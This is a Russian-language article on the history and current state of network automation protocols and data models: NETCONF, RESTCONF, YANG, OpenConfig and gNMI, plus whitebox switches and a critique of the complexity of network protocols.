**Datastores** - это различные версии конфигурации на устройстве: `running`, `candidate`, `saved` и, возможно, другие. Они позволяют не менять на лету работающую конфигурацию.
**Commit** обеспечивает три буквы **ACID** - *Атомарность*, *Консистентность* и *Изолированность*.
**Операция Replace** - мощнейшая штука - позволяет заменять всю или часть конфигурации на новую.
Мы привыкли, что в CLI нам нужно сформировать список команд, добавляющих новую конфигурацию, и команд - удаляющих старую - ненужную. Довольно простая операция для человека, но чудовищно сложная для автоматики. Мы настолько привыкли, что это даже не вызывает раздражения у нас. А с NETCONF `replace` - мы просто суём ту конфигурацию, которую хотели бы видеть, а коробка сама считает, что нужно сделать, чтобы к ней прийти из текущего состояния. Это и есть тот самый декларативный путь, к которому мы так стремимся.
Для работы с NETCONF есть библиотеки для питона (и синхронные, и асинхронные), для го, плагины для Ансибл. Вроде бы всё - бери и пользуйся. Но не все производители его поддерживают. И совсем немногие поддерживают его в полной мере. Где-то нельзя настроить DHCP-Relay, где-то нет секций IPv6-vpn AF в BGP, где-то `replace` не поддерживается или поддерживается, но работает через delete/create - ух, неспасибо за это.
В итоге пара пунктов из вышеупомянутого [RFC3535](https://datatracker.ietf.org/doc/html/rfc3535) нарушены: не всё можно настроить через этот новый протокол, а для настройки всех возможных функций нужен как минимум CLI.
Но своё место NETCONF уже прочно занял и будет дальше только расширять и углублять. Несколько вендоров действительно его поддерживают в полной мере. А на других точечные операции всё равно многократно удобнее через программный интерфейс со структурированными данными выполнять. Плюс своё давление оказывают крупные заказчики, требующие его.
---
RESTCONF
--------
*Буйные 10-е и забыли*
```
The workshop recommends, with strong consensus from the operators
and rough consensus from the protocol developers, that the
IETF/IRTF should not spend resources on developing HTML-based or
HTTP-based methods for configuration management.
```
[RFC3535. Recommendation 6](https://datatracker.ietf.org/doc/html/rfc3535#section-6).
SSH - это хорошо. Но на сетевую автоматизацию случился спрос, а за ним наплыв сил разработчиков. А вот эти разработчики хорошо шарят в REST, но на курле крутили все эти наши SSH и парсинг текста. В компаниях, где начинают заниматься автоматизацией сети, обычно уже есть свой штат разработчиков, инструменты, практики. И они в лучшем случае рассматривают сеть, как ещё одни сервера, а то и ещё один сервис.
И вот REST API с CRUD им очень знаком.
Вот и решили парни из циски, джунипера и tail-f: *"а почему бы не запилить REST API в сетевые коробки?"*. Ну пошли и запилили - делов-то. И назвали RESTCONF - всё ещё отзываются боли SNMP.
[Драфт был опубликован в 2014-м](https://tools.ietf.org/id/draft-bierman-netconf-restconf-04.html), а в 2017 мир увидел [RFC8040](https://www.ietf.org/rfc/rfc8040.txt).
Это помесь RESTAPI и NETCONF, которая была призвана упростить управление сетью для WEB-приложений.
Внутри идеологически это NETCONF с его datastores и способами работать с конфигурацией, однако в качестве транспорта - HTTP с набором операций CRUD, реализованных через стандартные методы (*GET*, *POST*, *PUT*, *PATCH*, *DELETE*).
Конфигурационные данные передаются в формате JSON или XML. В качестве модели данных используется только те, что написаны на языке YANG - тут уже никакой самодеятельности.
С самого начала RESTCONF не затевался как замена NETCONF, а только как более удобный для WEB-приложений способ работать с сетевыми устройствами. То есть они должны сожительствовать. При этом обычно на устройстве реализуется один бэкенд, обрабатывающий запросы на работу с конфигурацией и опер.данными от разных фронтов - NETCONF или RESTCONF. То есть в основе одни и те же datastores, один и тот же движок, вычисляющий конфигурационные дельты, но сложность транзакционности и нескольких разных видов конфигураций (`running`, `candidate`, `saved`) от пользователя скрыта в случае NETCONF.
С другой стороны отсутствие в выдаче поисковиков хоть сколько-то серьёзных работ по автоматизации с помощью RESTCONF и даже популистских статей от больших игроков говорит о том, что это всё не более чем баловство. И я намеренно не пишу слово "пока". Лично я в него не верю.
При этом CRUD не очень гладко ложится на RPC-подход, да и в идее держать открытым на сетевом железе HTTP есть что-то противоестественное, согласитесь? Нет? Ну ладно.
Просто жаль сил, вложенных в этот протокол. Потому что на пятки ему наступает gRPC/gNMI
---
Однако вернёмся к NETCONF: в чём его фундаментальная проблема? Да в том, что он вышел в мир один одинёшенек. Не было предложено никаких схем, языка, стандартов для семантики. И всё пошло вразнос.
Модели были нужны, но языка для их описания не было. До 2010 (на самом деле больше) каждый вендор писал их кто во что горазд.
YANG, который (по-)меняет мир
-----------------------------
Очень странно это, конечно, вышло. Для SNMP IETF много думали, работали и выпустили сначала язык спецификации SMI, а потом даже замахнулись на SMIng - nextgen, так сказать.
То есть необходимость языка описания спецификации была очевидна уже тогда - в 90-е, однако к NETCONF язык не приложили почему-то.
Впрочем это всё-таки довольно быстро стало понятно - в 2008 из осколков рабочих групп по SNMP слепили рабочую группу IETF NETMOD, которая в срочном порядке занялась разработкой языка. Не мудрствуя лукаво, они взяли синтаксис SMIng и "адаптировали" его. Уже в 2010 они выпускают [YANG 1.0](https://datatracker.ietf.org/doc/html/rfc6020), а в 2016 - [1.1](https://datatracker.ietf.org/doc/html/rfc7950).
**YANG** - *Yet Another Next Generation* - по сути - это язык описания моделей. То есть это не данные и даже не конкретные модели - только язык. Как русский - это не произведение и не слова.
А уже с помощью этого языка создаются непосредственно модели, которые обычно так и называют - YANG-модели. Модели на языке YANG далее могут преобразовываться в XML/JSON-схемы или в gRPC Protobuf'ы или во что угодно другое, что станет спецификацией для протокола. И уже на основе этой спецификации можно генерировать конфигурации или проверять их валидность.
Четырёх лет задержки оказалось достаточно, чтобы вендоры понаделали кучу своего, на что завязали инструменты и они сами, и их заказчики. Четыре года задержки откинули внедрение Model-Driven подхода лет на десять. Только сегодня хоть что-то похожее на практическое применение начинает выходить за пределы гуглов и фейсбуков.
Кстати, будьте аккуратнее, когда ищете *"yang models"* в интернетах, серьёзно вам говорю.
---
### Виды моделей
Вендоры очень быстро сориентировались в ситуации на самом деле - и довольно скоро насоздавали YANG-модели для своих устройств.
#### Проприетарные, они же Native
У каждого производителя набор моделей свой собственный, никоим образом несовместимый с любыми другими. А зачастую просто даже ничего похожего между ними нет. Но это уже большое дело - теперь вся ваша автоматика может полагаться на них при генерации и валидации конфигурации, при сборе статистических данных, при разборе телеметрии. Известно какого типа и в какой ветке иерархии вернутся те или иные значения.
Где их можно взять?
Говорят, что можно прям [запросить](https://www.rfc-editor.org/rfc/rfc6022.txt) с устройства YANG-модель через операцию , но не все вендоры это поддерживают. Говорят, некоторые вендоры выкладывают модели в [GitHub](https://github.com/YangModels/yang), но не все и не всё. Говорят, что можно скачать модели с сайта производителя.
Пусть говорят: но универсального пути тут нет, увы.
---
Главное: с этим уже можно было жить. Инженерам стало нужно чуть меньше думать об интерфейсах и форматах сообщений, но с глубоким вниманием подходить к содержимому сообщений всё ещё приходилось, оказывая разные знаки почтения разным вендорам.
При этом казалось бы - вся сеть - это конечный набор одинаковых сервисов, если выбросить всякие IGRP, HSRP, RRPP и прочие проприетарные выдумки. Ну, всем же нужен IP, OSPF, BGP? Всем нужна аутентификация на устройствах и SSH? Они не могут иметь очень уж принципиальные отличия, как минимум из-за необходимости поддерживать совместимость друг с другом и соответствовать RFC.
Так почему мы делаем это сотней разных способов?
Сделать по отдельности у каждого вендора Configuration State Management - одноразовая, решаемая (а много где и решённая) задача. А вот договориться между всеми производителями, как должна выглядеть универсальная модель - так же сложно, как и любая другая задача, где людям нужно договориться.
Но ни один из зарождавшихся и выживших стандартов или не ставил целью унификацию вообще, или пытался поднять этот вопрос, но был выброшен в окно штаб-квартиры вендора.
Хотя вру. IETF предприняли отчасти успешную попытку написать универсальную модель.
---
#### IETF-модели
Разработав язык YANG, инженеры IETF поняли, что напрашивается и мультивендорная модель.
Ещё в 2014-м году были сделаны первые коммиты с этой моделью в [репозиторий YANG](https://github.com/YangModels/yang/tree/main/standard/ietf/RFC).
С тех пор много накоммичено, но мало фактически сделано. Общепризнанно, что IETF-модель очень медленно развивается, у неё низкое покрытие, а схема не выдерживает критики.
С IETF-модели рекомендуют начинать, потому что она якобы проще, а уже потом переходить на OpenConfig, но как по мне - это напрасная трата времени.
Будущее её туманно, если не сказать непроглядно. Однако вендоры её поддерживают. Ну, кстати, Openconfig-модель из IETF-модели тоже кое-что импортирует, например, частично интерфейсы.
Заказчиков и пользователей беспокоили ущербность модели и инертность IETF, но один в поле не воин - тысячи разрозненных автоматизаторов по всему миру не могли ничего с этим сделать. А вот большие компании могли.
Когда надо настроить тысячу свитчей, а каждый месяц запускать новый датацентр, когда на сети пять разных поколений дизайна, а катить изменения нужно дважды в день, начинаешь несколько иначе смотреть на все этим ваши сиэлаи и вендор-специфичные эксэмэли.
Могу только предположить, что в недрах гугла это происходило примерно так:
Вот была сеть из дюжины вендоров, были некие драйверы, которые могут доставлять конфигурацию на сетевые коробки. А ещё была где-то далеко стоящая база данных с переменными. А между ними 2 миллиметра антивещества.
Скорее всего, сначала появился некий дизайн сети, которые в суперпозиции с БД давал вендор-нейтральную конфигурацию.
Этот дизайн сети уже опирался на разработанную внутри модель данных - ведь в нём нужно было описать все нюансы конфигурации. То есть или уже была или параллельно с дизайном появлялась модель данных.
А вместе с тем набирал обороты gRPC. И на каком-то из удачно расположенных кофе-поинтов пересеклись парни из соседних отделов и подумали:
> *- Слышь, а зачем вам эти полумеры? Давай из вашей модели сразу же в коробку перекладывать? Мы вам поможем агента написать*
>
> *- Да, но у нас циски, проприетарная ось.*
>
> *- Да это фигня. О, Джон, здоров. Давай парням линукс на свитчи вкорячим?*
>
> *- Так давай, изян. Через сколько месяцев надо?*
>
> *- Подождите, подождите, там типа чип, SDK, памяти маловато*
>
> *- Хей, Рони, алло! Нам нужен свитч, на который мы можем свою операционку поставить*
>
> *- Без базы, ща, в R&D запустим.*
>
>
Ну как-то так я себе представляю рождение OpenConfig.
---
#### OpenConfig - мечта, становящаяся явью
Возможно, впервые за шестидесятилетнюю историю телекоммуникаций у нас появился шанс изобрести свой USB Type C. Представьте мир, в котором Cisco, Juniper, Nokia и Mikrotik настраиваются одними и теми же командами и это к тому же приводит к одинаковому результату?
Я не могу.
**OpenConfig** - это открытая YANG-модель, которая предполагается единой для всех вендоров. Одна стандартизированная модель для сбора операционных данных с устройств, управления конфигурацией и анализа телеметрии.
Итак, OpenConfig появился в Google, как они сами сказали на [наноге в 2015](https://archive.nanog.org/sites/default/files/meetings/NANOG64/1011/20150604_George_Sdn_In_The_v1.pdf), как ответ на следующие вызовы:
* 20+ ролей сетевых устройств;
* Больше полудюжины вендоров;
* Множество платформ;
* 4M строк в конфигурационных файлах;
* 30K изменений конфигураций в месяц;
* Больше 8M OIDs опрашиваются каждые 5 минут;
* Больше 20K CLI-команд выполняется каждые 5 минут;
* Множество инструментов и поколений софта, куча скриптов;
* Отсутствие абстракций и проприетарные CLI;
* SNMP не был рассчитан на столь большое количество устройств и на столько большие объёмы данных (RIB).
Это всё настолько знакомые ежедневные трудности, что любой может приписать их себе, просто уменьшив цифры.
Вскоре после этого в том же 2015м был сделан первый коммит в публичную репу [openconfig/public](https://github.com/openconfig/public).
Так начал своё шествие по индустрии OpenConfig.
Вот тут все модели данных, разработанные и опубликованные в OpenConfig.
Никаким стандартом он не стал, в RFC не превратился, но вендоры его подхватили. Ещё бы они его не подхватили - очень быстро к гуглу подтянулись и другие гиганты!
Есть только пара проблем - карта старовата и некоторые ссылки на сайте ведут на 404 :)
Но репозиторий живёт насыщенной жизнью.
Есть и ещё пара проблем посерьёзнее, но о них в конце главы.
OpenConfig сегодня даёт возможность настройки стандартных сервисов, таких как интерфейсы, IP-адреса, NTP, OSPF и прочее. Безусловно, речь не идёт про вещи, завязанные на аппаратные особенности: QoS, управление буферами и ресурcами чипа, сплиты портов, работа с трансиверами. И в каком-то хоть сколько-то обозримом будущем этого ждать не стоит.
Хуже того, на сегодняшний день многие вендоры, ввязавшиеся в поддержку OC, не реализуют все 100%, а лишь часть - ту, которая нужна им, а точнее, их заказчикам.
Но BGP с OSPF настроить точно можно.
---
И что же делать, если брать 5 разных несвязанных Native-моделей не хочется, а OC-модель не покрывает всех необходимых функций?
И есть два пути.
Один из них - брать OC и видоизменять его с помощью добавления или убирания каких-либо его частей. Когда вендор хочет расширить покрытие модели - он делает **augmentation**, встраивая его в нужное место. Если он хочет поменять какое-то поведение или удалить функционал - он описывает **deviation** к базовой модели.
Этот способ, конечно, не покрывает все потребности.
Другой - совмещать OC и Native. В целом рекомендуют (даже сами вендоры), использовать OC там, где это возможно, а где нет - прибегать к Native. Главное - не настраивать одно и то же с помощью разных моделей.
Источник: доклад на Cisco Live (https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2020/pdf/BRKDEV-1368.pdf)Если вам всё ещё кажется, что так можно жить, то пришло время сказать, что разные вендоры, оборудование и даже версии ПО могут использовать разные версии OC-модели и быть не полностью совместимыми. Вам всё ещё придётся думать о том, что и куда вы деплоите.
---
OpenConfig входит в наш мир в ногу с **gNMI**, как это и задумывал Google. Но в качестве транспорта может быть как gNMI, так и NETCONF и RESTCONF - это не принципиально, потому что OC - это только YANG-модель, которая далее может быть переложена уже хоть в JSON-схему, хоть в gRPC protobuf'ы.
---
gRPC/gNMI
---------
*Сверхлихие 20-е*
За последние лет семь [gRPC](https://grpc.io/docs/) уже всем уши прожужжали. И только самые ловкие разработчики могли избежать реализации взаимодействия с какой-нибудь системой по gRPC.
> "g" в *gRPC*, кстати, [означает вовсе не "google"](https://github.com/grpc/grpc/blob/master/doc/g_stands_for.md).
>
>
---
### gRPC
Вообще-то RPC вроде бы как начал давным давно уходить в тень, уступая место REST и ему подобным. Но в недрах гугла он цвёл, эффективно связывая между собой микросервисы, и назывался Stubby. Ровно до тех пор пока, в 2015 они не решили его переписать и заопенсорсить, чтобы нанести непоправимую пользу миру.
Долгое время в изученной Вселенной не существовало никаких общедоступных библиотек, позволяющих реализовать какой-то типовой RPC. Разработчики сами описывали и сообщения, и формат данных в них, и как их интерпретировать. Поэтому и популярности особой он не сыскал.
А тут вот, пожалте: готовый протокол, стек, формат данных и библиотеки для кучи языков.
Что же он из себя представляет?
Это фреймворк, позволяющий приложениям, запущенным в совершенно разных окружениях, взаимодействовать друг с другом посредством RPC. Делает gRPC концептуально ровно то, что предполагается самой идеологией RPC, но есть несколько вещей, которые обусловили его успех и популярность:
1. Строгий IDL (Interface Definition Language), диктующий то, как именно описывать спецификации - protocol buffers или protobufs.
2. Готовый формат данных и механизм их маршалинга и демаршалинга - тоже protocol buffers (protobufs).
3. Библиотеки для разных языков программирования, которые на основе спецификации генерируют объекты языка (классы, методы итд) - разработчику остаётся только использовать их. Как для сервера, так и для клиента.
То есть. Поставил себе пакет grpc: перед тобой сразу язык спецификации, генераторы кода, интерфейсы, форматы данных, транспорт. Красота-тра-та-та!
Мы не знаем сколько лет внутри гугла gRPC набирал популярность и проникал всё глубже в межсервисное взаимодействие. Но что теперь известно точно, так это то, что у них менеджмент с яйцами, а сетевые инженеры достаточно гибки и пытливы, чтобы и к сети адаптировать этот единый протокол.
При этом не забываем, что на проприетарные джуносы, иосы и врп никто не притащит свой бинарничек, чтобы удобный для себя интерфейс реализовать. Это значит, что white-box коммутаторы с собственной linux OS у гугла появились задолго до того как их увидел мир.
Что и неудивительно - с железом они работать умеют, с Linux и подавно - дело было за малым - собрать команду Network R&D, в которой будут ребята, которые занимались разработкой своих серверов и адаптацией интерфейсов и инструментов, и найти достаточно гибкого вендора. А за последним дело не встанет, когда вы закупаете килограмм свичтей в секунду.
Так по мнению поисковых систем выглядят крутые сетевикиВообще для обывателей всё началось 24 сентября 2015, когда OpenConfig consortium выпустил OpenConfig в мир. Весь FANG (кроме Amazon) поучаствовал в этом консорциуме. Но начал всю заварушку и продолжает её паровозить гугл. Естественно, среди них и крупные телекомы, вроде Level3, AT&T, Verizon, Bell.
И пока OpenConfig прокладывал себе дорогу, раскидывая в сторону вендорские и IETF модели, гугл сделал следующий шаг - как раз таки реализовал gNMI.
Итак, в 2016-м [мир увидел](https://github.com/openconfig/reference/blob/master/rpc/gnmi/gnmi-specification.md#7-revision-history) плод труда инженеров гугл - протокол **gNMI**, реализующий весь стек технологий для программного взаимодействия с железом.
И что с того?! Ведь к тому времени буйным цветом шёл NETCONF и к тому же почти одновременно с gNMI уже почти сформировался RFC 8040, описывающий RESTCONF со вполне ещё модным на тот момент REST.
Как в таких условиях пробиться ещё одному протоколу и не стать героем известной картинки?
Источник: https://xkcd.com/927/Так вот, рассказываю: собрались как-то сетевики гугл вместе, пришли на встречу [IETF 98](https://datatracker.ietf.org/meeting/98/materials/slides-98-rtgwg-gnmi-intro-draft-openconfig-rtgwg-gnmi-spec-00) в Чикаго на секцию Routing Area Working Group и прямым текстом им заявили, что то, что те навыдумывали, пора пришла заменить на [молодёжные технологии](https://github.com/openconfig/reference/tree/master/rpc/gnmi).
Шёл 2017-й год. Марат устроился в Яндекс.
И... Ничего не изменилось.
В 2018 они, видимо, поняли, что их не услышали и на [IETF 101](https://datatracker.ietf.org/meeting/101/materials/slides-101-netconf-grpc-network-management-interface-gnmi-00) снова пришли с рассказом про gNMI, и уже более явно сообщали, что он пришёл на замену этим вашим x-CONF'ам. Слышите вы, старпёры? Ало?! gNMI пришёл!
И тут завертелось! Сообщество сетевых автоматизаторов из вендоров, телекомов и просто одиноких пассионариев понесло благую весть в народ.
Как вы видите, gNMI молодой и дерзкий протокол. Про него нет страницы на вики, довольно скромное количество материалов и мало кто рассказывает о том, как его использует в своём проде. Он не является стандартом согласно любым организациям и RFC, но его спецификация описана на [гитхабе](https://github.com/openconfig/reference/blob/master/rpc/gnmi/gnmi-specification.md).
Однако свою дорогу в мир прокладывает. Медленно, но, похоже, что верно.
Что нам важно знать о нём? gRPC Network Management Interface.
Это протокол управления сетевыми устройствами, использующий gRPC как фреймворк: транспорт, режимы взаимодействия (унарный и все виды стриминга), механизмы маршаллинга данных, proto-файлы для описания спецификаций. В качестве модели данных он может использовать YANG-модели, а может и не использовать - protobuf'ы можно сгенерировать на основе чего угодно, и даже просто написать вручную.
Как того требует gRPC, на сетевом устройстве запускается сервер, а на системе управления - клиент. На обеих сторонах должна быть одна спецификация, одна модель данных. gNMI в мир пришёл под руку с OpenConfig, но неразрывно они друг с другом не связаны.
В этой статье я не копаю глубоко в каждый протокол и фреймворк, не разбираюсь, как они устроены, а даю только взгляд на историю развития автоматизации. За деталями приглашаю во [вторую статью](https://habr.com/ru/post/667440/).
---
Ну и пришло время подводить итоги?
---
Настоящее сетевой автоматизации
-------------------------------
Итого, что же творится в мире сетевой автоматизации сейчас?
Тут на самом деле вопрос, где вопрошающий и отвечающий находятся на спектре от чед-инженера "руками фигакну тыщу свичей, хорошо, если есть Excel" до непорочного инженера, кругом обложившегося gRPC и OpenConfig'ом с сетевым CI/CD-пайплайном.
А посередине спектра и ансибль, и питон, и перл, и баш, и го. Где-то CLI, куда-то NETCONF уже внедрили, кто-то по gNMI что-то настраивает и телеметрию снимает. Да добрая половина и SNMPv2 ещё не выключила.
У многих конфигурация [Day-0 и Day-1](https://linkmeup.ru/blog/1275/#LIFECYCLE) плюс-минус автоматизирована - это правда легко.
Day-N у кого-то решается в полностью ручном режиме, иные раскатывают обновления скриптом или простым Ansible playbook'ом, кто-то даже готовит развесистые плейбуки, основанные на модулях, "поддерживающих" состояние.
У кого-то есть [крутая CLI-автоматизация](https://www.youtube.com/watch?v=cMllUl73iZg), умеющая по-настоящему поддерживать состояние.
Самые продвинутые укладывают всё в NETCONF, собрав полноценный замкнутый цикл релиза конфигурации.
А совсем оторванные от земли заставляют производителей поддерживать новую функциональность в OpenConfig.
В целом описать всё многообразие проявлений автоматизаторской фантазии сегодня просто невозможно. Мы сейчас в мире, в котором чёрный параллелепипед ещё не был признан стандартом в области форм-факторов смартфонов.
---
Видимое будущее
---------------
Тут на самом деле два направления развития.
Во-первых, совершенно очевидно будут стремительно набирать популярность **программные интерфейсы** взаимодействия с железом и набивший оскомину на конференциях model-driven programmability.
Рано или поздно он сойдёт со слайдов и начнёт свой путь в каждое домохозяйство.
gNMI слишком хорош, чтобы пройти мимо него. Да и NETCONF, настоенный на YANG'е, тоже.
Будем видеть всё больше статей, больше лаб, разборов. Всё больше вендоров будет нормально поддерживать их и увеличивать покрытие.
Такие требования начнут появляться в RFI.
И это очень-очень-очень хорошо.
Другое направление более интересное и многообещающее.
**Whitebox-оборудование**. Лет 5 назад это было таким же шумом, как сейчас gNMI. Это - где-то там, у них - у больших и сильных - есть и железо, и софт, и штат R&D для этого интересного.
Сегодня Cumulus, Switchdev, Onos, SONiC - уже вполне зрелые операционные системы, на которых работает прод. Broadcom опубликовал свой SDK на [github](https://github.com/Broadcom-Network-Switching-Software/OpenBCM) - это вообще из разряда "что происходит?!"
Выпуском железа занимаются уже давно не только новоиспечённые игроки, вроде mellanox'а ([у нас с ними был подкаст](https://linkmeup.ru/podcasts/1059/)), [delta](https://opennetworking.org/wp-content/uploads/2018/12/Stratum-on-Whitebox-Switches.pdf) Xpliant, Barefoot ([у нас и с ними был подкаст](https://linkmeup.ru/podcasts/1083/)), но и вендоры - так называемые Britebox - Branded white box - cisco, huawei итд.
Почему это важно? И почему эта информация вообще получила место в статье про историю автоматизации?
А всё просто. С появление Whitebox в мир сетевых операционных систем приходит Linux.
"Да он там и до этого был" - скажут некоторые. Не секрет, что почти все проприетарные сетевые ОС основаны на Linux или FreeBSD. И что с того, если доступа к консоли обычно нет, не говоря уж о руте?
А на Whitebox'ах стоит самый что ни на есть честный Linux, на который можно установить пакеты из репозитория, притащить любой файл, любой бинарник, любой скрипт.
Он превращается в обычный сервер с о-о-очень модными сетевыми карточками с чипом на 12,8 тера.
На нём есть файлы конфигурации, systemd, cron.
А это означает, что обслуживать его можно как обычный Linux-сервер.
Можно поднять nginx и совершенно любое REST-приложение за ним. Ну или gRPC-сервер.
Поставить телеграф-агент - и сливать метрики в коллекторы.
И здесь совершенно чудесно ложится идея разделения управления устройством и сервисами, которые на нём запущены.
Есть Linux-тачка. На ней CPU, память, интерфейсы, пользователи, мониторинги системы и всё такое прочее: но весьма ограниченный набор. Доступ - по SSH. Инструмент - любой, используемый для управления физическими машинами - Ansible, Salt, Chef.
А есть сервисы - BGP, VPN, VxLAN, который на физической машине запущен. И вот они могут управляться через REST, gRPC, ну или хотя бы путём подсовывания конфигурационных файлов.
И менеджмент конфигурации сети становится задачей других, уже существующих отделов: серверной инфраструктуры и config-плейна. Без размазывания компетенций и накладных расходов.
**Сетевики всё ещё нужны**, очевидно - для определения того, что именно нужно настраивать, как будет выглядеть архитектура сети, набор протоколов, модель данных.
Сюда же можно подтащить версионирование работающих приложений, в которое можно включить и конфигурацию, запуск двух версий side-by-side и где-то не за горизонтом даже полноценный CI маячит.
А все заморочки с ансиблом, питон-скриптами, притворяющимися человеком с руками и какой-никакой головой, поддержанием стейта конфигурационной портянки текста - они просто испаряются в предрассветном тумане.
И попробуйте после этого взглянуть на существующую модель работы с сетевым железом - какой кривой и инертной она выглядит.
**Но есть "Но"**.
Во-первых, это требует глобальной перестройки всех процессов и вообще-то сознания. Такие вещи за 5 лет не происходят в индустрии - мы ещё долго будем развивать NETCONF.
Во-вторых, это требует всё же некий R&D - в штате должны быть крепкие инфраструктурщики и разработчики. В то время как [идеально вылизанное вендорское железо и софт](https://fs.linkmeup.ru/images/adsm/5/lickedhard.jpeg) - требуют весьма ограниченное количество человеческих ресурсов на обслуживание.
В-третьих, это всё сейчас и ещё долгое время будет касаться ДатаЦентров со сравнительно простой сетью, построенной преимущественно на свитчах. В гораздо меньшей степени это применимо к энтерпрайзной сети. А уж когда это докатится до операторов нам будут рассказывать наши внуки. При том что NETCONF там тоже плюс-минус состоялся.
И всё же этот мир прекрасен.
---
Шаг за горизонт
---------------
А что если я вам теперь скажу, что мы делаем всё неправильно?
Мысль не свежая и принадлежит не мне.
А людям, которые в сети приходят из разработки или других смежных профессий.
У сети в целом очень простая задача - доставить данные из точки А в точку Б.
Концепция пакетной маршрутизации в основе своей понятна и красива - глядя на IP-адрес назначения, принимать решение на каждой новой точке. От конца до конца одна логика.
Но сразу же появляется необходимость в протоколах маршрутизации. И тут первый раз становится сложно: Тут - OSPF, там - BGP, где-то - статика. Ещё OSPF не всегда подходит - нужен какой-то IS-IS.
У каждого протокола триллион параметров: помним про virtual-links, MED, sham-links, DN bit, Local Preference, Overload bit, никому не нужный стек OSI.
Мы придумываем RPKI и болезненно его внедряем, потому что все сетевики в прошлом джентльмены - и мы безоговорочно доверяем друг другу.
А потом кончаются IPv4-адреса потому что кто-то когда-то не подумал заранее. Ломается принцип end-to-end связности, появляется триста видов NAT, часть из которых призвана обеспечить хождение данных между IPv4 и IPv6 мирами.
А в маленьких сегментах сети, где находятся компьютеры, нужно ещё не забыть, что в Ethernet забыли заложить TTL и организовали широковещательные рассылки. Для этого придумали пяток несовместимых друг с другом протоколов, каждый из которых устраивал в своё время инцидент масштаба как минимум города, а то и региона.
Кстати, спасибо ребятам, в L2-сегменте мы не можем утилизировать все линки одновременно, поэтому придумываем ещё несколько протоколов защиты дефолтного шлюза, которые нет-нет да страдают от сплит-брейна.
Учитывая, что L2-пространство плоское, пришлось придумать сначала dot1q, потом, когда оказалось, что 4094 мало, qinq и разные виды маппингов и стекингов.
Всё это призвано решить только задачи транспорта. Но есть ещё сервисы. А там пересекающиеся IP-пространства, данные, которые нужно спрятать, или даже вовсе не IP, а Ethernet или какой-нибудь IPX или ATM.
Появляются оверлеи. Просто перечислим их виды? IPinIP, GREinIP, BGP MPLS L3VPN, BGP MPLS L2VPN, VPLS Compella, VPLS Martini, MPLS over GRE, MPLS over UDP, VxLAN, несколько режимов работы IPSEC. И ещё не вспоминаем тыщу разных видов VPN, как L2TP, PPTP, SSTP, OpenVPN, SSH-туннели.
Каждый раз, строя сеть, пробуем разобраться, что из этого поддерживается какими вендорами и какими железками. А поддерживается только в Control Plane или в Data Plane тоже? А через CPU или через ASIC? А как настроить?
Как вы знаете, недостаточно положить IP в GRE и снова в IP - мы используем MPLS. Технология, нашедшая себя в совершенно не в той сфере, в которую её сватали.
Идея в Data Plane выглядит ещё более или менее понятной, пока мы не касаемся FRR, bandwidth allocation и Affinity.
Но тут у нас есть LDP в разных режимах, RSVP-TE, remote LDP, BGP - всё только чтобы распространять метки. И это рождает монстров вроде LDPoverTE, MPLS TE Hotstandby с Fast Reroute и ручного назначения и слежения за bandwidth.
Кому-то ведь даже приходится хорошо помнить (на собесах, например), сдвиги октетов, в которых находится RRO объект в RSVP-TE Path message.
BGP вот, кстати, стал козлом отпущения, сам того не желая (как будто это бывает иначе). В его NLRI насовали всего, что только могли - BGP всё стерпит. Отсюда же у нас и в некоторых случаях отсутствие обязательного атрибута NextHop.
Ещё сетям свойственно перегружаться и ронять пакеты на пол. С такими потерями имеют дело дюжина механизмов Congestion Avoidance и ещё столько же Congestion Management. Tail-drop, RED, WRED, RR, WRR, PQ, CBWFQ, ECN, CWR. Мы знаем, что такое HoLB, VoQ, Pause Frames, PFС, CAM, TCAM, SerDes, Traffic Manager - и как они все поступают с пакетами. И вообще мы эксперты по аббревиатурам - найдите, в какой профессии их больше - устроим батл!
И давайте не будем трогать мультикаст?
В итоге как может выглядеть жизнь одного байта, который вы отправили из виртуальной машины в облаке клиенту с телефоном?
Выходя из виртуалки, он содержится внутри TCP/IP/Ethernet - в качестве адреса назначения - клиентский IPv4-адрес. Далее его перехватывает виртуальный рутер (vRouter) на хосте-гипервизоре, снимает Ethernet, навешивает на него метку MPLS потом UDP, и ещё один IP-заголовок - теперь IPv6 и новый Ethernet - и отправляет на свой Gateway. Но фактически пакет попадет на стоечный коммутатор, внутри которого создан отдельный VRF, далее он идёт по маршруту, изученному по OSPFv3, перескакивая с хопа на хоп через выделенные для него VLAN'ы внутри одного физического линка. Пока не достигнет последнего коммутатора, который должен из своих таблиц ND и MAC-адресов извлечь в какой порт и в какой VLAN отправить этот пакет с какими MAC'ами.
На хосте его перехватит vRouter, снимет заголовки Ethernet, IP, UDP и изначальный пакет доставит до Gateway, который суть другая виртуальная машина. Уже этот Gateway знает, что для 0/0 у него некстхоп - это адрес бордера, но нужно упаковать данные в MPLS. Эта информация изучена по BGP.
Gateway навешивает сервисную метку MPLS и ещё сверху транспортную и отправляет в свитч.
Цепочка свитчей выполняет MPLS-коммутацию, на основе информации, изученной с помощью BGP Labeled Unicast, и доносит пакет до MPLS-магистрали, где существующий пакет упакуется в ещё несколько заголовков MPLS, которые должен донести пакет через магистраль до бордера. Информация, о том, какие именно MPLS-метки проставить и как с ними дальше быть появляется из Segment Routing, работающего поверх IS-IS.
Далее на магистрали за одно устройство до точки выхода снимаются все MPLS-метки, потому что PHP.
Бордер шлёт пакет в одного из своих транзитов. Далее побитый судьбой, пройдя через множество оптических каналов, маршрутизирующих систем, обросший неизвестным количеством меток он приходит на бордер оператора связи, в котором находится клиентский терминал.
Бордер теперь должен доставить пакет до ядра мобильной сети в том регионе, где находится клиент. Через магистраль оператора связи. На этот раз она поддерживается механизмом RSVP-TE. Тут у оператора могут быть десятки разных каналов, которые управляются Affinity, Bandwidth constraints и даже Explicit routes.
Пакет обрастает одной, двумя или тремя метками MPLS и отправляется в долгий путь. А по пути случается обрыв трассы между городами, срабатывает Fast Reroute и пакет обзаводится ещё одной MPLS-меткой.
Так или иначе он добирается до ядра сети в регионе, где принимается решение о том, как доставить его до базовой станции. Чтобы это случилось, пакет сначала весь раздевается почти до изначального состояния, а потом должен обратно обрасти новыми заголовками, один из которых ключевой для мобильных сетей - это GTP - ещё один туннель. В плане опорной сети у операторов тут тоже без фантазий - оптическое кольцо по области, сверху которого накручены OSPF или IS-IS, MPLS как транспорт или BGP L3VPN для выделения сервиса мобильного интернета в отдельный VRF. Пакет попадает в это кольцо, направляется нагруженный метками к точке назначения. И тут рвётся один из линков, размыкая кольцо. Срабатывает снова FRR, который перенаправляет трафик к тому же некстхопу, но через противоположное направление по кольцу, опять же навешав MPLS-метку. И доходит.
